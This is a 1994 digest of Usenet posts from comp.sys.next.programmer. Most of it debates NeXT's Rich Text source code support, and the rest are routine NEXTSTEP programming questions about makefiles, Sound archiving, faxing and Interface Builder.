Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan23.163945.4388@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University References: <2htdai$qo5@senator-bedfellow.MIT.EDU> Date: Sun, 23 Jan 1994 16:39:45 GMT In article <2htdai$qo5@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > Now hold on... I prefer to use Edit, not emacs. If I want to, I guess I > could download emacs-19 and get the above type of functionality. But I > prefer to be able to format my source code the way I want it to look. I can > highlight important parts in a given color, choose the font that I want, > link informational files to the source, and even include pictures to help > others understand my programming. I am grateful for RTF support in the NeXT > compiler. True, NeXT could implement automatic formatting of source, but > it looks like they are leaving that to the "emacs" people. I think RTF support > is a unique and helpful feature. > Don't forget the focus of NEXTSTEP: Mission Critical Custom Apps. MCCAs are developed most often by teams of programmers, and often consultants who may not have worked together before. If every individual formats their RTF code according to their own taste, you don't help the group work together very well. I sure don't want to look at your source code, with your colors and fonts... yuck. So, adding this feature isn't very useful to NeXT because it doesn't help their mission. Adding features to Edit that would allow for structured formatting of the source code to your taste (NOT embedding the information into an RTF file) would allow you to look at code the way YOU want to look at it, and at the same time allow the others in the group to have freedom from your bad taste. Taste is a relative thing, and for source code, I don't want to have to be subject to pink comments, and keywords in Avante Garde. So, RTF code is helpful to the individual, but doesn't get the GROUP very far. Having embedded pictures is nice, and I'm sure that this can still be retained within the context of source-code formatting functionality in Edit. - db -- But this one flack, speaking valiantly to the press in the moments after the Hindenburg of Canadian electoral crashes, was adamant that Canadians [...] had offered the Tories (get this) an "opportunity". An opportunity to feel stupid and unwanted? -- Montreal Mirror on the Tories losing 156 seats
From: brown@quorum.com (Robert E. Brown) Newsgroups: comp.sys.next.programmer Subject: RTF source code is evil Date: 23 Jan 1994 17:33:08 GMT Organization: Quorum Software Systems, Inc. Message-ID: <BROWN.94Jan23123309@grettir.quorum.com> RTF source code is the most brain-dead feature Next has released in recent memory. In fact, it's pretty close to my worse nightmare as a programmer. I really can't imagine why so many people are willing to defend Next's decision here, since RTF source is clearly a quick hack to achieve a result that's better accomplished in other ways. RTF source is a Microsoft-like move -- give people what they think they want, instead of what they need, while locking them into a proprietary solution. Most of the people arguing in favor of RTF source would be just as well served by a smart editing system that reads in standard C source code and displays it with interesting typography. Since most programmers are clueless about typographic issues and usually have better things to spend their time on, the editing system should by default make all the important typographic decisions for them. An intelligent editor that in addition supports graphics and hypertext links would be even better. Unfortunately, it's difficult to develop a source code editing system that presents code nicely with hyperlinks and embedded graphics, so Next came up with the RTF source code hack as a quick fix to satisfy all the complainers who want bold red keywords and italic variable names in purple. RTF source code will do nothing but enhance the perception that code written for NextStep is completely unportable to other environments. bob P.S. Here's a good reference book for those interested in typography as it applies to the presentation of C code. I don't agree with everything the authors avocate, but they have lots of good ideas and the book is filled with examples. Human Factors and Typography for More Readable Programs by Ronald M. Baecker and Aaron Marcus published by Addison-Wesley ISBN 0-201-10745-7.
Newsgroups: comp.sys.next.programmer From: BrianW@SoundS.WA.com (Brian Willoughby) Subject: What's wrong with precompiled headers in .subproj's? Message-ID: <CK3BCu.EA7@sounds.wa.com> Sender: brianw@sounds.wa.com (Brian Willoughby) Organization: Sound Consulting, Bellevue, WA, USA Date: Sun, 23 Jan 1994 16:05:17 GMT I have a vanilla subproject in an app I'm working on, but I can't seem to build when there are precompiled header files in the subproject directory. Are precompiled headers supported in subprojects? Has anyone successfully used precompiled headers in a subproject directory? I am using 3.2 and just created this subproject today. It was easy enough to set the things up so that building the project generates .p files for each .h file, I just added "PRECOMPS = foo.p bar.p fubar.p" to fu.subproj/Makefile.preamble, and the following to fu.subproj/Makefile.postamble: foo.p: foo.h fubar.h bar.p: bar.h common.h fubar.p: fubar.h The above additions caused PB to create foo.p, bar.p and fubar.p in my fu.subproj directory as expected. However, now I get: Making fu.subproj pc -c fubar.p Make: Cannot load pc. Stop. *** Exit 1 Stop. *** Exit 1 Stop. *** Exit 1 Stop. I looked at the output from "make -p", and it appears that one of the two rules below is being executed: .p.a: commands: $(PC) $(PFLAGS) -c $< $(AR) $(ARFLAGS) $@ $% $(RM) $(RMFLAGS) $% .p.o: commands: $(PC) $(PFLAGS) -c $< ... but I don't understand why this is happening in the subproject directory and not in the main directory. I haven't added anything which should cause the .p files to be compiled - nothing is different from the main directory. Perhaps there is some difference between app.make and subproj.make that I cannot see clearly. Any ideas? P.S. I just found a workaround by adding a line to Makefile,postamble (should this be necessary?): .p.o : I found the clue at the end of common.make -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: RTF source code is evil Date: 23 Jan 1994 21:26:27 GMT Organization: Massachusetts Institute of Technology Message-ID: <2huq23$bv1@senator-bedfellow.MIT.EDU> References: <BROWN.94Jan23123309@grettir.quorum.com> In article <BROWN.94Jan23123309@grettir.quorum.com> brown@quorum.com (Robert E. Brown) writes: >RTF source code is the most brain-dead feature Next has released in recent >memory. In fact, it's pretty close to my worse nightmare as a programmer. I >really can't imagine why so many people are willing to defend Next's decision >here, since RTF source is clearly a quick hack to achieve a result that's >better accomplished in other ways. RTF source is a Microsoft-like move -- >give people what they think they want, instead of what they need, while >locking them into a proprietary solution. But the point is that you have a choice to use RTF support if you want to. No one is forcing you into a proprietary solution. In addition, turning RTF source into ASCII is as simple as command-shift-r while in Edit, although I think, as others have stated, that there should be a preferences option that automatically converts RTF to ASCII upon loading in the file. "Intelligent" formatting, as many have suggested, might work for C-code, but what if Fortran, Obj-C, C++, Lisp, etc, is being displayed? Would the editor need to be able to distinguish between the different types of code in order to format it properly? I don't know if this would be difficult to implement or not. I do agree automatic formatting is a less proprietary solution, and it very well should be supported in Edit, but I am also of the belief that the RTF support is an added value that will be appreciated by at least some of us. Eric
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: MultiMedia Source Code - was Re: RTF source code is evil Date: 23 Jan 1994 21:49:48 GMT Organization: Massachusetts Institute of Technology Message-ID: <2hurds$c9i@senator-bedfellow.MIT.EDU> References: <BROWN.94Jan23123309@grettir.quorum.com> <2huq23$bv1@senator-bedfellow.MIT.EDU> In article <2huq23$bv1@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: >I do agree automatic formatting is a less proprietary solution, and it very >well should be supported in Edit, but I am also of the belief that the RTF >support is an added value that will be appreciated by at least some of us. Some things just occured to me that might make RTF source support more useful than many think. Maybe multi-media support is the more proper term.... - Multimedia source - the ability to include formatted text, images, sound, and even NeXTTime Video to "document" your code. Yes, a proprietary resource hog, but do the advantages outweigh the disadvantages? - Hot links to code that runs - the ability to have the user double click near a portion of your code and actually see it run, while they also see the editor step through the source line by line. Much like what happens in GDB, but without having to manually set a breakpoint and launch GDB. Most of this is only useful if you are trying to explain to someone else how your code works - for instructional purposes - or if you do it for your own benefit. My point is that it is nice to at least have this support available if you want to use it. Eric
From: d89cb@efd.lth.se (Christian Brunschen) Newsgroups: comp.sys.next.programmer Subject: Some thoughts about file types, file formats, filename suffixes Date: 23 Jan 1994 22:13:05 GMT Organization: Lund Institute of Technology, Sweden Message-ID: <2husph$fjf@nic.lth.se> NeXTSTEP uses the filename suffix to distinguesh between different types of files, ie, a .eps file is an Encapsulated PostScript file, a .m file is Objective-C source code, .rtf and .rtfd are Rich Text files ... But wait! There's also Rich Text Ojective-C source code! .mrtfd, I beleive. take a few seconds to look at that suffix ... it is the result of mixing .m and .rtfd, and I this it's plain ugly. But I also see the reason for this: .rtf(d) is the _format_ of the data inside the file. .m is what it _represents_. these are actually two different issues, which are currently resolved using the same mechanism -- filename suffixes. The Macintosh(R) uses the "type" and "creator" fields in the resource fourk of the file. Here, we see a differentiation -- byt still, the "type" represents both form and content, so it doesn't really solve the problem. What I would like to see is, in the future NeXT Object-oriented File System (if there ever is such a beast), a differentiation of form and content -- ie, a file's `form' could be "rtf", "rtfd", "ASCII", "ISO-Latin1", "UTF", "octets" or something completely different, while its `content' would be "Objective-C source", "Encapsulated PostScript", "TIFF" or whatever. Obviously, some combinations would be pretty useless (such as ISO-Latin1 and TIFF). There could then be filter services provided that convert between different `form's, and between different `content's -- a `UTF'/`Encapsulated PostScript' could be converted to `octets'/`TIFF'. `Objective-C source' could be stored in any of a number fo different `form's, but the compiler would only accept "ASCII", so the filter service would automagically be invoked -- and presto, we have transparent RTF or RTFD or SGML (if we had filter services for it) source code. However, this is of course not easy to implement using the current filename suffix scheme. Any comments ? Am I stupd ? :-) best regards // Christian Brunschen
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Re: RTF source code is evil Message-ID: <1994Jan23.223319.20943@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University References: <2huq23$bv1@senator-bedfellow.MIT.EDU> Date: Sun, 23 Jan 1994 22:33:19 GMT In article <2huq23$bv1@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > "Intelligent" formatting, as many have suggested, might work for C-code, > but what if Fortran, Obj-C, C++, Lisp, etc, is being displayed? Would the > editor need to be able to distinguish between the different types of code > in order to format it properly? I don't know if this would be difficult > to implement or not. Well, it's worked with emacs for a while. What's so hard about writing this kind of thing? The technology exists, re-use it? Why not build a lisp interpreter into Edit? Why not have the "developer" mode in Edit tie into a more powerful text engine? Objects or not, the text-processing abilities of the NeXT Text object fall far behind almost every other text processing engine around. > I do agree automatic formatting is a less proprietary solution, and it very > well should be supported in Edit, but I am also of the belief that the RTF > support is an added value that will be appreciated by at least some of us. > > Eric Sure, but why play with toys when tools are available? RTF is a (stumbling) step 45 degrees off of the right direction. Doing an auto-formatter would have had much more bang for the buck. My wish list for 4.0: 1) more powerful text processing in Edit (including automatic formatting) 2) a tie-in with a good revision control system. The current status of this rotten!!! - db -- But this one flack, speaking valiantly to the press in the moments after the Hindenburg of Canadian electoral crashes, was adamant that Canadians [...] had offered the Tories (get this) an "opportunity". An opportunity to feel stupid and unwanted? -- Montreal Mirror on the Tories losing 156 seats
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 23 Jan 1994 22:44:26 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2huuka$iqu@usenet.rpi.edu> References: <1994Jan23.142532.1660@FreemanSoft.com> joe@FreemanSoft.com (Joe Freeman) writes: > gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > > Adding the smarts to the editor (like emacs) is useful for in many > > circumstances, and is a more general solution. On the other hand, > > allowing RTF source is an advantage if you want to produce > > documentation (like manuals) which includes your source. You can > > have the same control over appearance that you have with RTF, and > > without implementing 8-million little knobs on the editor. > > Yup that makes sense. But, the same objects that are used by the > Editor could be used by the documentation generator. That is > the great thing about this object stuff. Once done, in theory, > it doesn't have to be done again. You never know, but the CPP > style front end that did the the RTF highlighting might have > to work on some kind of continuous manner. Kind of like an > interpreter. Granted, but that's not the point I was making. My point is that someone doing documentation might want to have complete control over formatting. Ie, for *this* prodcedure, make the parameters be in bold. Don't do it for *those* procedures though. And *These* routines are fairly obvious, so print them in 8-point font, but *those* routines are the main point of this whole program so I want them in 24-point Bold Garrish-Blue type. And for this one procedure, we really need some tiff image to show what the code is doing. Automatic code display works well if there's only a few knobs to adjust on it. Ie, *all* comments should be in italics, *all* declarations should be in some other font, etc. Once you start having lots of knobs (so you can make decisions on a per-routine basis), I don't think the automatic display options will work all that well. That said, I certainly do agree that having the editor do such automatic handling of display options would be very desirable. I'd like to see it in Edit, with some kind of flexibility so different display algorithms would be loaded for different file types (eg, Modula-3 code vs C-code). I don't want to see RTF ripped out to do that though. I'd also say that for me, the automatic-handling of source code display would be more useful than the RTF support. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Message-ID: <1469@rtbrain.rightbrain.com> Date: 23 Jan 94 21:25:08 GMT References: <1994Jan23.163945.4388@sifon.cc.mcgill.ca> Sender: glenn@rightbrain.com Seems to me that there are two camps in this issue: * put the formatting in the RTF file (like it is today) * keep the formatting separate, as Edit.app preferences There's another thing that might help: file wrappers. In particular, file wrappers could be used to include pictures along with the source code without actually embedding them into the source (in fact this is exactly what RTFD files are). This doesn't absolutely require RTF, it just requires a convention for where to embed the graphics (or other) files. Something really simple like //Include <pathname> would do it. It's not terribly different from the \import directive in RTF (or whatever it's called). It is, unfortunately, C-specific, but for other languages you could always comment it out, like: { //Include <pathname> } But I agree with the folks that say that the formatting information should be kept OUT of the source file itself. The best method would be to have a Preferences file for the formatting information that could be stored in the file wrapper with the file, so you could have the best of both worlds: the document could carry formatting information, but you could choose to ignore it in favor of your Edit.app preferences if you'd rather. -- Glenn Reid glenn@rightbrain.com Woodside, California
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: RTF source code is good, *standardizing* it is evil... Date: 23 Jan 1994 23:12:20 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2hv08k$jlr@usenet.rpi.edu> References: <BROWN.94Jan23123309@grettir.quorum.com> I think that the people who object to RTF source code are attacking the wrong target. Let me offer an alternate issue to debate over. The capability of supporting rich-text in source code files (complete with embedded tiff images and other documents) is a GoodThing. Programmer's plans to standardize on the use of fonts & formats in source code that is to be distributed is a BadThing. While I think RTF support is a useful option, I'm not too keen on any of these mailing lists which are trying to come up with standardized rules for how to use RTF in plain old source code. To me, "standardized rules" means decisions like "all comments should be in italics", and as such I think RTF is the *wrong* way to address such issues. I would argue that those attempts to standardize the use of RTF are the problem though, and not RTF support itself. Unless there is some good justification for using RTF support in a source file (such as to include a TIFF image), then the source file should not be in RTF. Any person who uses RTF in source code *only* so they can have comments in italics and procedure declarations in bold type is using the wrong tool to do it. A very wrong tool. I guess what I'm saying is that I don't *quite* want RTF source code. I want plain-text source code, with some kind of escape mechanism to drop in images (or perhaps very specialized formatting for some sections of code). It seems to me that what I want is mightly close to RTF support, except that I want to be able to set "other" (as opposed to setting a specific font-style, size, and formatting) for most of the regular C code. I want to be able to have multi-media source (or at least multimedia comments) for when it's appropriate, but I most very certainly don't want every idiot programmer out there providing generic C code in their own warped idea of clever font styles. I want all generic C code to be displayed in *my* warped idea of clever font styles, when *I* am looking at it. And if I decide that I want all comments in blue italics, then I want *comments* in blue italics, and not just the sections of code that I *think* are comments in blue italics. I don't have all those thoughts clear in my own mind yet, but I think that this strikes to the heart of the disagreement over RTF support. The question isn't whether RTF support is inescabably evil, it's a question of how we (programmers) decide to use it. The fact that there is no "other" option in RTF complicates any use of RTF, but if that's the problem then let's come up with a solution for it. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: RTF source code is evil Message-ID: <1994Jan23.233304.2739@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <2huq23$bv1@senator-bedfellow.MIT.EDU> Distribution: usa Date: Sun, 23 Jan 1994 23:33:04 GMT In article <2huq23$bv1@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > In article <BROWN.94Jan23123309@grettir.quorum.com> brown@quorum.com (Robert E. Brown) writes: > "Intelligent" formatting, as many have suggested, might work for C-code, > but what if Fortran, Obj-C, C++, Lisp, etc, is being displayed? Would > the editor need to be able to distinguish between the different types of > code in order to format it properly? I don't know if this would be > difficult to implement or not. The NeXT support for rtf source files does not extend to Fortran, Lisp, etc. A personality based syntax sensitive editor would probably be an easier task that getting all the compiler vendors to support RTF source. -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: MultiMedia Source Code - was Re: RTF source code is evil Message-ID: <1994Jan23.233544.2797@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <2hurds$c9i@senator-bedfellow.MIT.EDU> Distribution: usa Date: Sun, 23 Jan 1994 23:35:44 GMT In article <2hurds$c9i@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > In article <2huq23$bv1@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > > > - Hot links to code that runs - the ability to have the user double > click near a portion of your code and > actually see it run, while they also see > the editor step through the source line > by line. Much like what happens in GDB, > but without having to manually set a > breakpoint and launch GDB. That sounds more like an interpreter or incremental compiler that rich text. The feature you describe is yet another reason to add more smarts to the editor -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: MultiMedia Source Code - was Re: RTF source code is evil Date: 23 Jan 1994 23:32:39 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2hv1en$kem@usenet.rpi.edu> References: <2hurds$c9i@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > Some things just occured to me that might make RTF source support > more useful than many think. Maybe multi-media support is the > more proper term.... We probably should also ask ourselves the question: Do we really want Multimedia *source* code, or is it that we want the ability to have multimedia *comments* embedded in our source code? Support for multimedia comments embedded right in the source code file seems quite useful to me. The actual source code itself has no real need to be multimedia, though. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: devans@uoguelph.ca (David F Evans) Newsgroups: comp.sys.next.programmer Subject: Selectable Actions in Custom IB Objects Date: 24 Jan 1994 00:00:27 GMT Organization: University of Guelph Message-ID: <2hv32r$nrb@nermal.cs.uoguelph.ca> I'm pretty sure this is burried in the documentation someplace but I haven't been able to find it. :( I want to connect an object I have added to IB to another object and be able to select the method which is invoked using the Connections inspector (like how you can select what happens when you muck with a Scroller.) How should I set-up my interface specification so that IB knows my object can deal with variable targets (and, then, how should I go about using these targets?) Thanks in advance. ============================================================================= David Evans devans@snowhite.cis.uoguelph.ca Computer/Synth Junkie (NeXTMail OK) University of Guelph "Default is the value selected by the Guelph, Ontario, Canada composer overridden by your command." - Roland TR-707 Manual
From: aking@bbn.com (Allen King) Newsgroups: comp.sys.next.programmer Subject: A Bug unarchiveing Sound objects Date: 24 Jan 1994 00:10:09 GMT Organization: Bolt Beranek and Newman Inc., Cambridge MA Distribution: world Message-ID: <mk64f1INNehu@news.bbn.com> What gives with this simple little program? I presume that reading distinct archives should give distinct objects. But not with Sound, NXReadObject() returns THE SAME OBJECT when called twice in succession. Am I missing a subtlety of Sound, or what? Throw this into Project Builder and see for yourself! It is, of course, a snippet of a much larger program, in which my objects read Sound objects. Allen P.S.: Please respond via email to aking@bbn.com #import "CauseBug.h" @implementation CauseBug - read :(char *)name thenArchiveUnarchiveItAs :(char *)archiveName; { id sound, obj; NXTypedStream *typedStream; // read a named soune sound = [Sound new]; [sound readSoundfile :name]; // archive it to a file if ((typedStream=NXOpenTypedStreamForFile(archiveName, NX_WRITEONLY))==0) printf("error opening file %s for write\n", archiveName); NXWriteRootObject(typedStream, sound); NXCloseTypedStream(typedStream); // unarchive it from the same file if ((typedStream=NXOpenTypedStreamForFile(archiveName, NX_READONLY))==0) printf("error opening file %s for write\n", archiveName); obj = NXReadObject(typedStream); NXCloseTypedStream(typedStream); return obj; } - causeBug :sender { id obj1 = [self read :"/aking/Figure/figure.sounds/camptown.snd" thenArchiveUnarchiveItAs :"t1"]; id obj2 = [self read :"/aking/Figure/figure.sounds/octave.snd" thenArchiveUnarchiveItAs :"t2"]; [obj1 play]; if (obj1 == obj2) printf("BUG: reading distinct sounds should yield distinct sounds, " "but %p==%p\n", obj1, obj2); return self; } @end
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) Newsgroups: comp.sys.next.programmer Subject: phone kit and MessageCenter Date: 24 Jan 1994 00:21:31 GMT Organization: Supercomputer Computations Research Institute Message-ID: <2hv4ab$c62@mailer.fsu.edu> Does anyone know of any PD or commercial apps for the Hayes ISDN phone adaptor? Are there any PD extensions to MessageCenter.app? I've added some of my own features to MessageCenter but I'm interested in incorperating more(like Caller ID for POTS lines) for a PD app. Thanks for any info, Steve Dekorte PS. please resond by email.
Newsgroups: comp.sys.next.programmer From: clloyd@gleap (Charles C. Lloyd) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan24.000112.2205@gleap.sccsi.com> Sender: clloyd@gleap.sccsi.com Organization: GiantLeap Software References: <2huuka$iqu@usenet.rpi.edu> Date: Mon, 24 Jan 1994 00:01:12 GMT Some people seem to think it was a mistake for NeXT to integrate support for rtf in source because it gets us going down the wrong path, or because they should have done the optimal solution (eg. a context sensitive editor). I look at the addition of rtf source as a nice stop-gap compromise. From experience, I know that modifying cpp to handle rtf is a relatively simple matter (a weekend project). However, a context-sensitive editor is not trivial. We must crawl before we can walk. I look at this rtf source deal as a way to whet people's appetite for better source editors. Perhaps all this hullabaloo will inspire someone to write an editor akin to Edit.app that has the context sensitive formatting options in it (I'm no Emacs user). Then, the addition of rtf support will have been a good catalyst to make it happen. Besides, if NeXT hadn't done it, I would have and we wouldn't have had all this vigorous (if not fruitful) discussion. :-) Charles. -- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax)
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Fax Message-ID: <1994Jan23.233512.1672@planon.qc.ca> Sender: yanik@planon.qc.ca Date: Sun, 23 Jan 1994 23:35:12 GMT I am locking for a way to usr the NeXT to send Faxes. The software I want to write will be used to be used by the .forward file in the user's home. When the user receive mail (OK just plain vanilla unix mail) I want to send the message to a given fax machine. - faxPSCode:sender toList:(const char *const *)names numberList:(const char *const *)numbers sendAt:(time_t)when wantsCover:(BOOL)cFlag wantsNotify:(BOOL)nFlag wantsHires:(BOOL)hFlag faxName:(const char *)aString; can not be used. That method is part of appkit (View and Window classes) and I want my program to work without windowServer (the .forward system requires that). I have been sucessfull to send postScript files using the unix lpr tool. However, there is no way to set the Fax number. Enscript would be a good way to investigate but once again it has no provision to let the user indicate which Fax number the printout is intended to. If someone has an idea, let me know. Yanik -- Yanik Crepeau Programmer Planon Telexpertise E-Mail: yanik@planon.qc.ca (NeXT)
From: marcus@jetsam.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 23 Jan 1994 17:10:50 -0800 Message-ID: <2hv76q$hav@jetsam.ee.pdx.edu> References: <1994Jan23.163945.4388@sifon.cc.mcgill.ca> <1469@rtbrain.rightbrain.com> glenn@rightbrain.com (Glenn Reid) writes: >But I agree with the folks that say that the formatting information >should be kept OUT of the source file itself. It is a Rich Text Format right? Richer means _more_ information not less. I can't see how it makes any difference whatsoever what is in the files providing there is a automatic way to get a _nicely-formatted_ text file out. The current implementation doesn't do this, though. A hilighting API, and a generic editor-include command (which, like Emacs, places the burden of commenting out the editor commands on the programmer) would provide 90% of the formatting anyone would ever want. Please no dumb kludgey scripting languages! >The best method would >be to have a Preferences file for the formatting information that could >be stored in the file wrapper with the file, so you could have the best >of both worlds: the document could carry formatting information, but >you could choose to ignore it in favor of your Edit.app preferences if >you'd rather. Of course, this means that hypertext links and conditionals, etc would be out. (BTW, I'd sure like a CPP aware editor -- I've never seen a .el program to match #if pairs -- has anyone ever seen one -- or another editor that does)?
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: DigitalLibrarian indexing service filter daemon -- example requested Date: 24 Jan 1994 01:18:12 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2hv7kk$i0n@agate.berkeley.edu> I asked: > Does anyone have example source code for Librarian indexing service > implemented as a filter? I am looking for for something similar > to manfilter.daemon in /NextLibrary/Services/Indexing.service/ ? > > Filter: ManDescribe > Port: IXMANFILTER > Send Type: NXTypedFileContentsPboardType:man > Return Type: IXFileDescriptionPboardType > Executable: manfilter.daemon I think I could figure this out myself. An example source code of this kind service daemon has been uploaded to cs.orst.edu:/pub/next/submissions. This is a file description filter daemon for NewsGrazer articles. By installing this you will be able to index ~/Library/NewsGrazer/NewsFolders and see titles of searched items in the format: Re: DigitalLibrarian indexing service -- (Joe Blow), Sun, 23 Jan 94 Not filename and a bit of the first line of the file, which are pretty useless in selecting from search results. The compressed file includes all the sources, and binary for Motorola hardware (compiled on 3.2). -r--r--r-- 1 ftp 301 16005 Jan 23 20:07 NewsIndex0.9.compressed % sum NewsIndex0.9.compressed 06340 16 Beno t Grang [ben@fizz.fdn.org] distributed a similar daemon free of charge, but no source code was included in the distribution. This version has been developed from scratch by myself, and comes with sources. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.programmer From: uli@zoodle.robin.de (Ulrich Grepel) Subject: Re: non-rectangular Buttons/ButtonCells and respective Matrix Message-ID: <CK1MnD.Dw@zoodle.robin.de> Sender: uli@zoodle.robin.de (Ulrich Grepel) Organization: meow!!! References: <n9240566.758488983@honeydew> Date: Sat, 22 Jan 1994 18:14:01 GMT Leif E. Harrison writes > I'm looking to create a custom view for a hexagonal-based mapping > system (a "matrix" of hexagons with images in them that respond to mouse > clicks - looks like hexpaper, if you've seen that) for a game and I was > pondering the most "sensible" way to implement it. I've done something similar with triangles and just implemented a hitTest: method for my view subclass. No matrix stuff, admitted, but this did a fair job for my purpose. Bye, Uli -- Will quote Douglas Adams for food - David Dixon Will feed Douglas Adams for quotes - Alex Gibbs
Newsgroups: comp.sys.next.programmer From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Re: RTF source code is evil Message-ID: <1994Jan24.022553.19623@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <1994Jan23.223319.20943@sifon.cc.mcgill.ca> Date: Mon, 24 Jan 1994 02:25:53 GMT In article <1994Jan23.223319.20943@sifon.cc.mcgill.ca> samurai@amber.hasc.ca (Darcy Brockbank) writes: > My wish list for 4.0: > > 1) more powerful text processing in Edit (including automatic > formatting) > 2) a tie-in with a good revision control system. The current > status of this rotten!!! Two new applications from SS&S may satisfy some of those desires: CodeReviewer (RTF visual diffs and formal code analysis) and DRCS (Directory Revision Control System, a GUI+RCS on steroids). For more detailed marketing propaganda you can contact Robert Masterson, VP, Software Services and Solutions: Robert_Masterson@sss.com. Robert and I will be showing these applications at the DC show this week, and demos should be placed on the archives very soon. Disclaimer: I don't speak for SS&S, and they don't speak for me. -- Nathan "USENET" Janette PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: RTF source code is evil Date: 24 Jan 1994 03:59:17 GMT Organization: Massachusetts Institute of Technology Message-ID: <2hvh2l$i2l@senator-bedfellow.MIT.EDU> References: <1994Jan23.223319.20943@sifon.cc.mcgill.ca> <1994Jan24.022553.19623@cs.yale.edu> In article <1994Jan24.022553.19623@cs.yale.edu> nathan@laplace.csb.yale.edu (Nathan F. Janette) writes: >Two new applications from SS&S may satisfy some of those desires: >CodeReviewer (RTF visual diffs and formal code analysis) and DRCS >(Directory Revision Control System, a GUI+RCS on steroids). >For more detailed marketing propaganda you can contact Robert >Masterson, VP, Software Services and Solutions: > Robert_Masterson@sss.com. You know Nathan, you make me laugh. From the guy who tries his hardest to prevent any type of commercial useage of the internet, it boggles me to see that you yourself are doing the advertising. >Robert and I will be showing these applications at the DC show this week, >and demos should be placed on the archives very soon. Oh, I see, if you have a vested interest, and you can discretely "hide" the blatant advertisement, then it is ok? Eric
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 24 Jan 1994 05:34:12 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2hvmkk$7d9@darkstar.UCSC.EDU> References: <2hsqm8$ajp@usenet.rpi.edu> In article <2hsqm8$ajp@usenet.rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > RTF support is not helpful for programming per se, it's > helpful when producing documentation which needs to include > program code. Most of us would rather have a tool that > helps us with the programming itself, but that doesn't > mean that RTF source code is a bad idea for all purposes. I'm finding RTF source to be useful for documentation also, but not as Garance has stated. I'm inserting links from methods, ivar declarations (I've had to copy them to the implementation file and surround them with comments due to IB's inability to parse RTF interface files :-( constant definitions, etc. to the standard NS class specification files so that someone looking at my source can press the link buttons and go straight to the appropriate documentation. This saves me time because I don't have to maintain 2 copies of essentially identical documentation. -- Art Isbell Cubic Solutions 